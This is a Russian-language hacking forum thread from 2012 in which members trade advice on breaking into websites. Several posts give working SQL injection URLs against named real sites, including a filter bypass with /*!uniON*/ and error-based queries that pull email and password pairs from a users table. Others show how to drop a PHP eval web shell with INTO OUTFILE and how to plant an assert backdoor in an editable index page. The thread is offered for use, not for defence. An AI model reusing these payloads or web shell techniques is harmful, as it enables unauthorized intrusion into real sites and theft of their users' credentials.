Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. AlonDelon

    AlonDelon Member

    Joined:
    12 Nov 2010
    Messages:
    322
    Likes Received:
    18
    Reputations:
    -3
    можно как нибудь обойти и авторизоваться, если в админку не пускает? логин - пароль есть.
    CMS WP
     
  2. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Инглиш бро. Криво установлено все.
     
    1 person likes this.
  3. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    393
    Likes Received:
    40
    Reputations:
    23
    Как вывести версию БД, столкнулся с жесткой фильтрацией и обойти не получается?

    _http://1cnews.com/index.php?mode=search&sstring='and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'
     
    #18823 er9j6@, 3 Jan 2012
    Last edited: 6 Jan 2012
  4. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Code:
    http://1cnews.com/index.php?mode=viewpart&part=-10+and+1=1+/*!uniON*/+select+1,version(),3--+f
    В title 5.1.33-log
    Вот так бро :D А то в поиске заморочки с LIKE. Вообщем все гениальное просто ;)
     
    1 person likes this.
  5. er9j6@

    er9j6@ Elder - Старейшина

    Joined:
    17 Sep 2011
    Messages:
    393
    Likes Received:
    40
    Reputations:
    23
    как ты количество полей подобрал, каким запросом?
     
  6. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Тут главное внимательность.
    http://1cnews.com/index.php?mode=viewpart&part=10

    Делаем запрос:
    http://1cnews.com/index.php?mode=viewpart&part=10'
    В заголовке исчезает "Events of the branch". Что то тут не так ;)

    Проверяем на inj.
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1
    "Events of the branch" появился. А если:
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=2
    Исчез. Соответственно, true и false.

    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+order+by+10--+f
    Заголовок исчез.
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+order+by+3--+f
    Пояивлся, соответственно, кол-во 3.

    Ну а дальше
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+union+select+1,2,3--+f
    403 forbidden

    Попробуем убрать union, все выводится, значит фильтрует union. Шифруем union => /*!uniON*/

    Пробуем
    http://1cnews.com/index.php?mode=viewpart&part=10+and+1=1+/*!uniON*/+select+1,2,3--+f
    Заголовок есть, 10 заменяем на -10. В заголовке видим цифру 2.

    P.S. Вообщем контент-based injection :D
     
    #18826 Ereee, 3 Jan 2012
    Last edited: 3 Jan 2012
    1 person likes this.
  7. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    Есть доступ к бд как залить shell ?
     
  8. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Сначала посмотри File_priv. Для этого:
    http://site.ltd/a.php?a=-1+union+select+1,user(),3--+f
    Копируем юзера.
    http://site.ltd/a.php?a=-1+union+select+1,file_priv,3+from+mysql.user+where+user='тут юзер'--+f
    Если выведет N, то залить не получится. Если Y + mq=off, то:
    http://site.ltd/a.php?a=-1+union+select+1,<?php tvoi_shell_kod ?>,3+into+outfile+'/path/to/www/dir/file.php'--+f
    После этого шелл будет по адресу site.ltd/dir/file.php
     
  9. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    183
    Likes Received:
    22
    Reputations:
    2
    У меня прямой доступ =) Нут не sql inj ) Захожу через Navicat
     
  10. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Ты про это наверно:
    PHP:
    select '<?php eval($_REQUEST[e]); ?>' into outfile '/path/to/www/dir/file.php'
     
  11. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    народ, подобрал колонки, и проблема возникла из-за редиректа, как быть дальше?

    PHP:
    http://www.shop-stroitel.ru/catalog/?id=14+or+1=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+
     
  12. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Вот так быть -> http://www.shop-stroitel.ru/catalog/?id=111114+or+1+group+by+concat%28%20%28select+user%28%29%29,floor%28rand%280%29*2%29%29%20having%20min%280%29--+ Называется ERROR BASED, TIME BASED - гугли по этим ключам
     
  13. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    я так пробовал, когда начинаю выводить данне из таблицы

    PHP:
    http://www.shop-stroitel.ru/catalog/?id=14+or+1+group+by+concat((select+concat_ws(0x3a,email,password)+from+stroitel.acx_users+limit+$i,1),0x00,floor(rand(0)*2))having+min(0)+or+1--+
    возникает тотже редирект
     
  14. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Тут можно спокойно обойтись и без вывода в ошибке и тем более не заморачиваться с тайм басед методом, там есть вывод в урл
    Code:
    www.shop-stroitel.ru/catalog/?id=14+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+
    
     
  15. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    имею доступ к админке,могу редактировать индексную страницу, пытаюсь вставить туда:
    <?php assert(stripslashes($_REQUEST[a])); ?>
    но он появляется в соурсе:
    [​IMG]
    и соответственно index.php?a=phpinfo()
    не работает, что еще можно попробовать, подскажите пожалуйста товарищи хакеры :)
     
  16. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    На будущее, если что то не выводится или перенаправляет, пробуй в Opere:

    Чтобы отключить авторедирект:
    Открой уязвимый сайт => MOUSE2 => Настройки для сайта => Интернет(или Сеть, просто у меня EN Opera) => Сними галочку "Включить автоматическое перенаправление"

    Чтобы отключить Javascript:
    Открой уязвимый сайт => MOUSE2 => Настройки для сайта => Скрипты(Сценарий) => Сними галочку "Включить скрипты(Javascript)"

    В Firefox:
    Настройки => Дополнительно => Общие => "Предупреждать при попытке сайта перенаправить или перезагрузить страницу"

    Еще в твоем случаи mq=on, поэтому не получится через Error-based думаю, так как думаю, что нужно вставить кавычку, дабы вызвать ошибку. Возможно я и не прав.

    Это значит, что не выполняется php(впрочем везде так). Второй вопрос не подробный. Попробуй найти в админке файлменеджеры, аплоадеры и т.д.
     
    #18836 Ereee, 4 Jan 2012
    Last edited: 4 Jan 2012
  17. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Столкнулся с проблемой

    есть скуля
    &ordtype=name&ord=,sleep(IF(ASCII(substr((select+1+from+user),1,1))=123,1,0))

    проблема в том что скрипт переводит таблицу user в верхний регистр USER и в итоге
    Invalid query: Table 'db.USER' doesn't exist


    пробывал
    &ordtype=тфьу&ord=,sleep(IF(ASCII(substr((set+@@global.lower_case_table_names=1),1,1))=123,1,0))

    но ошибка
    Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SET @@GLOBAL.LOWER_CASE_TABLE_NAMES=1),10,1))=48,1,0))' at line 9

    как можно обойти перевод в верхний регистр или заставить поменять системную переменную?
    и еще раз тут есть вывод ошибок то наверное можно выводить через error-based но не выходит(

    upd:
    с error-based разобрадся. получилось
    Code:
    &ordtype=name&ord=,(select+1+from+information_schema.tables+group+by+concat((select+1),floor(rand(0)*2))+having+min(0))
    , но так и не могу обойти перевод в верхний регистр(
     
    #18837 [R]eD, 4 Jan 2012
    Last edited: 4 Jan 2012
  18. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    unhex(hex()) не? По логике должно сработать.
     
  19. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    он переводит имя таблицы в верхний регистр а не сам запрос т.е.
    select password from USER
    с unhex(hex(user)) такое не прокатит.

    вродебы где-то была метод с переводом всего запроса в mysql-hex и его выполнением в подзадпросе, но не могу найти(
     
  20. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    [R]eD,
    адресом сайта поделись. И попробуй функцию LOWER(tvoi_text).
    А => set+@@global.lower_case_table_names=1 думаю вообще бред.
     
    #18840 Ereee, 4 Jan 2012
    Last edited: 4 Jan 2012
Thread Status:
Not open for further replies.